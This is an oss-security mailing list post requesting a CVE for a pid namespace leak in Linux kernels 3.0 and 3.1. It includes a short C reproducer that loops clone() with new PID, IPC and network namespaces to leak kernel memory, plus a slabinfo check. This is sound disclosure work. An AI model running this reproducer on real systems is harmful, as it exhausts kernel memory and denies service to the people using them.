oss-security - CVE request: pid namespace leak in kernel 3.0 and 3.1

Follow @Openwall on Twitter for new release announcements and other news

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

Date: Thu, 19 Apr 2012 23:48:20 +0200
From: Marcus Meissner <meissner@...e.de>
To: OSS Security List <oss-security@...ts.openwall.com>
Cc: security@...nel.org
Subject: CVE request: pid namespace leak in kernel 3.0 and 3.1

Hi,

we had a user, Vadim Ponomarev (ccrssaa at karelia.ru),  report a pid
namespace leak caused by vsftpd.

https://bugzilla.novell.com/show_bug.cgi?id=757783

He provided a simple reproducer:

#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <sched.h>
#include <linux/sched.h>
#include <unistd.h>
#include <sys/syscall.h>

int main(int argc, char *argv[])
{
    int i, ret;

    for (i = 0; i < 10000; i++) {

        if (0 == (ret = syscall(__NR_clone, CLONE_NEWPID | CLONE_NEWIPC |
CLONE_NEWNET | SIGCHLD, NULL)))
            return 0;

        if (-1 == ret) {
            perror("clone");
            break;
        }

    }
    return 0;
}

and checking "cat /proc/slabinfo|grep pid_namespace"
gives 10000 more active slots after running it on 3.0.13 (+SUSE patches) and 3.1.10 (+SUSE patches).

Running this on 3.2.0 (+SUSE Patches) did not result in more slots, so it was probably
fixed between 3.1 and 3.2 (but someone else cross check perhaps).

Any idea welcome on which patch fixed this, I tried 1b26c9b334044cff6d1d2698f2be41bc7d9a0864
but it seems not helping.

Ciao, Marcus

Please check out the Open Source Software Security Wiki, which is counterpart to this mailing list.

Confused about mailing lists and their use? Read about mailing lists on Wikipedia and check out these guidelines on proper formatting of your messages.